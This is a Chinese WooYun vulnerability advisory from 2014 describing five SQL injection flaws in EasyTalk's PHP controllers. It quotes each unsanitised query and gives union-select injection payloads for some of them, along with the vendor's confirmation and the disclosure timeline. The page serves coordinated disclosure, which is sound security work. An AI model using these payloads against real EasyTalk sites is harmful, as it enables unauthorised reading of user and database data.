漏洞概要 关注数(6) 关注此漏洞
缺陷编号: WooYun-2014-50338
漏洞标题: EasyTalk Sql Injection 1-5
相关厂商: nextsns.com
漏洞作者: ′雨。
提交时间: 2014-02-09 10:26
公开时间: 2014-05-10 10:27
漏洞类型: SQL注射漏洞
危害等级: 高
自评Rank: 20
漏洞状态: 厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: 无
漏洞详情
披露状态:
2014-02-09: 细节已通知厂商并且等待厂商处理中
2014-02-09: 厂商已经确认,细节仅向厂商公开
2014-02-12: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-04-05: 细节向核心白帽子及相关领域专家公开
2014-04-15: 细节向普通白帽子公开
2014-04-25: 细节向实习白帽子公开
2014-05-10: 细节向公众公开
简要描述:
过滤不严。
详细说明:
注入1:
在topicaction.class.php中
$topic = D('Topic')->where("topicname='$keyword'")->find();
这里 带入查询。
where topicname='keyword';
SELECT * FROM `et_topic` WHERE topicname='aaa' LIMIT 1
构造一下 aaa' and 1=2 union select 1,2,3,user(),5 %23
完美注入。
注入2:
在settingaction.class.php 中
$_authmsg 虽然用addslashes 进行处理后 但是 后面解码。
所以 无视过滤。
然后切割成数组 数组的第一个 带入查询。
$row = $user->field('mailadres,auth_email')->where("user_id='$send_id'")->find();
where user_id = '$send_id'
完美注入。 无视Gpc
首先编码一下 然后注入
SELECT `mailadres`,`auth_email` FROM `et_users` WHERE user_id='yu' union select user(),2#' LIMIT 1
完美注入。
注入3:
在messageaction.class.php中。
$uid 无过滤 直接带入了查询。
$count = $mes->where("(senduid='".$this->my['user_id']."' AND sendtouid='$uid') OR (senduid='$uid' AND sendtouid='".$this->my['user_id']."')")->count();
SELECT COUNT(*) AS tp_count FROM `et_messages` WHERE (senduid='2' AND sendtouid='aaaa' AND sendtouid='2') LIMIT 1
执行的sql 构造一下语句。
有图有真相。
注入4:
在photoaction.class.php中
$cid 无过滤 且直接带入了
where("content_id='$cid' AND FIND_IN_SET('p',filetype)")->find();
content_id=$cid
SELECT Content.content_id AS content_id,Content.content_body AS content_body,Content.posttime AS posttime,Content.type AS type,Content.filetype AS filetype,Content.retid AS retid,Content.replyid AS replyid,Content.replytimes AS replytimes,Content.zftimes AS zftimes,Content.pinbi AS pinbi,Content.zhiding AS zhiding,Content.praisetimes AS praisetimes,Plugins.name AS appname,Plugins.directory AS directory,Plugins.available AS available,Plugins.type AS apptype,Users.user_id AS user_id,Users.user_name AS user_name,Users.nickname AS nickname,Users.user_head AS user_head,Users.user_auth AS user_auth,Users.provinceid AS provinceid,Users.cityid AS cityid FROM et_content Content ignore index(replyid) LEFT JOIN et_plugins Plugins ON Content.type=Plugins.directory LEFT JOIN et_users Users ON Content.user_id=Users.user_id WHERE content_id='aaa' AND FIND_IN_SET('p',filetype) LIMIT 1
这个是执行的语句 来构造一下语句。
注入成功 有图有真相。
注入5:
在appaction.class.php中
$KEYWORD为 request 获取的 然后html实体 但是对注入的影响不大。
如果keyword 为true的话就带入
$count=$pvmodel->where("name LIKE '%$keyword%' AND available=1 AND (type='app' || type='api')")->count();
SELECT COUNT(*) AS tp_count FROM et_plugins Plugins LEFT JOIN et_users Users ON Plugins.appauthor=Users.user_id WHERE name LIKE '%yu%' AND available=1 AND (type='app' || type='api') LIMIT 1
所执行的语句 构造一下
注入成功 有图有真相
漏洞证明:
修复方案:
过滤呗。
版权声明:转载请注明来源 ′雨。@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2014-02-09 16:33
厂商回复:
正在修复中
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值